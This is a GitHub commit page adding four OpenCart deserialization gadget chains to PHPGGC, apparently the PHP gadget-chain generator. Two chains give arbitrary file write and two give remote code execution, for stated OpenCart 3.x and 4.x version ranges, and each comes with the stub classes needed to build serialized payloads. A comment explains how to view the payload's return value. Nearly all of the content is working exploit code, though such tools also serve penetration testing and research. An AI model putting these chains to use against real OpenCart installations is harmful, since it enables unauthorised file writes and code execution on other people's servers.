File tree Expand file tree Collapse file tree 8 files changed +272
-0
lines changed
Expand file tree Collapse file tree 8 files changed +272
-0
lines changed Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \OpenCart ;
4+
5+ class FW1 extends \PHPGGC \GadgetChain \FileWrite
6+ {
7+ public static $ version = '4.0.0.0 <= 4.0.2.3+ ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'mcdruid ' ;
10+ public static $ information = 'This will stop working when the following:
11+ https://github.com/opencart/opencart/commit/087e20dd1cd9b441be5a327fd4b6698744bffb38
12+ ..is included in a release. ' ;
13+
14+ public function generate (array $ parameters )
15+ {
16+ $ path = $ parameters ['remote_path ' ];
17+ $ data = $ parameters ['data ' ];
18+
19+ return new \Opencart \System \Library \DB \MySQLi (
20+ new \Opencart \System \Library \Session (
21+ new \Opencart \System \Library \Log ($ path ),
22+ $ data
23+ )
24+ );
25+ }
26+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace Opencart \System \Library \DB
4+ {
5+ class MySQLi
6+ {
7+ private object |null $ connection ;
8+
9+ function __construct ($ connection )
10+ {
11+ $ this ->connection = $ connection ;
12+ }
13+ }
14+ }
15+
16+ namespace Opencart \System \Library
17+ {
18+ class Session
19+ {
20+ protected object $ adaptor ;
21+ protected string $ session_id ;
22+
23+ public function __construct ($ adaptor , $ session_id )
24+ {
25+ $ this ->adaptor = $ adaptor ;
26+ $ this ->session_id = $ session_id ;
27+ }
28+ }
29+
30+ class Log
31+ {
32+ private string $ file ;
33+
34+ public function __construct ($ file ) {
35+ $ this ->file = $ file ;
36+ }
37+ }
38+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \OpenCart ;
4+
5+ class FW2 extends \PHPGGC \GadgetChain \FileWrite
6+ {
7+ public static $ version = '3.0.3.5 <= 3.0.4.0+ ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'mcdruid ' ;
10+ public static $ information = '
11+ https://seclists.org/fulldisclosure/2022/May/30 describes a Gadget Chain
12+ using the Twig_Cache_Filesystem class, presumably in an older release. ' ;
13+
14+ public function generate (array $ parameters )
15+ {
16+ $ path = $ parameters ['remote_path ' ];
17+ $ data = $ parameters ['data ' ];
18+
19+ return new \DB \MySQLi (
20+ new \Session (
21+ // new \Twig_Cache_Filesystem(), // OpenCart 3.0.3.3 or older.
22+ new \Twig \Cache \FilesystemCache (),
23+ $ path ,
24+ $ data
25+ )
26+ );
27+ }
28+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace DB
4+ {
5+ class MySQLi
6+ {
7+ private object |null $ connection ;
8+
9+ function __construct ($ connection )
10+ {
11+ $ this ->connection = $ connection ;
12+ }
13+ }
14+ }
15+
16+ namespace {
17+ class Session
18+ {
19+ protected object $ adaptor ;
20+ protected string $ session_id ;
21+ public $ data ;
22+
23+ public function __construct ($ adaptor , $ session_id , $ data )
24+ {
25+ $ this ->adaptor = $ adaptor ;
26+ $ this ->session_id = $ session_id ;
27+ $ this ->data = $ data ;
28+ }
29+ }
30+
31+ class Twig_Cache_Filesystem
32+ {
33+ // for OpenCart 3.0.3.3 or older.
34+ }
35+ }
36+
37+ namespace Twig \Cache
38+ {
39+ class FilesystemCache
40+ {
41+
42+ }
43+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \OpenCart ;
4+
5+ class RCE1 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '4.0.0.0 < 4.1.0.0 ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'mcdruid ' ;
10+ public static $ information = 'This stopped working when this commit landed:
11+ https://github.com/opencart/opencart/commit/087e20dd1cd9b441be5a327fd4b6698744bffb38 ' ;
12+
13+ public function generate (array $ parameters )
14+ {
15+ $ function = $ parameters ['function ' ];
16+ $ parameter = $ parameters ['parameter ' ];
17+
18+ return new \Opencart \System \Library \DB \MySQLi (
19+ new \Opencart \System \Library \Session (
20+ new \Opencart \System \Engine \Proxy ('write ' , $ function ),
21+ $ parameter
22+ )
23+ );
24+ }
25+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace Opencart \System \Library \DB
4+ {
5+ class MySQLi
6+ {
7+ private object |null $ connection ;
8+
9+ function __construct ($ connection )
10+ {
11+ $ this ->connection = $ connection ;
12+ }
13+ }
14+ }
15+
16+ namespace Opencart \System \Library
17+ {
18+ class Session
19+ {
20+ protected object $ adaptor ;
21+ protected string $ session_id ;
22+
23+ public function __construct ($ adaptor , $ session_id )
24+ {
25+ $ this ->adaptor = $ adaptor ;
26+ $ this ->session_id = $ session_id ;
27+ }
28+ }
29+ }
30+
31+ namespace Opencart \System \Engine
32+ {
33+ Class Proxy
34+ {
35+ protected $ data = [];
36+
37+ public function __construct ($ key , $ function )
38+ {
39+ $ this ->data [$ key ] = $ function ;
40+ }
41+ }
42+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \OpenCart ;
4+
5+ class RCE2 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6+ {
7+ public static $ version = '4.1.0.0 <= 4.1.0.3+ ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'mcdruid ' ;
10+ public static $ information = 'This Gadget Chain typically ends up causing
11+ errors but not before the payload has been executed. ' ;
12+
13+ public function generate (array $ parameters )
14+ {
15+ $ function = $ parameters ['function ' ];
16+ $ parameter = $ parameters ['parameter ' ];
17+
18+ return new \GuzzleHttp \Handler \CurlFactory (
19+ new \Aws \ResultPaginator (
20+ new \Opencart \System \Engine \Proxy ('getCommand ' , $ function ),
21+ $ parameter
22+ ),
23+ );
24+ }
25+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace Opencart \System \Engine
4+ {
5+ Class Proxy
6+ {
7+ protected $ data = [];
8+
9+ public function __construct ($ key , $ function )
10+ {
11+ $ this ->data [$ key ] = $ function ;
12+ // It's not essential to define a callback for 'execute' but doing
13+ // so delays hitting errors for few more function calls. Using
14+ // print_r here may mean you see the return value of the payload.
15+ $ this ->data ['execute ' ] = 'print_r ' ;
16+ }
17+ }
18+ }
19+
20+
21+ namespace GuzzleHttp \Handler {
22+ class CurlFactory {
23+ private $ handles = [];
24+
25+ public function __construct ($ handle ) {
26+ $ this ->handles = $ handle ;
27+ }
28+ }
29+ }
30+
31+ namespace Aws {
32+ class ResultPaginator {
33+ private $ client ;
34+ private $ config ;
35+ private $ operation ;
36+ private $ args = [];
37+
38+ public function __construct ($ client , $ operation ) {
39+ $ this ->config ['output_token ' ] = false ;
40+ $ this ->client = $ client ;
41+ $ this ->operation = $ operation ;
42+ }
43+ }
44+
45+ }
You can’t perform that action at this time.
0 commit comments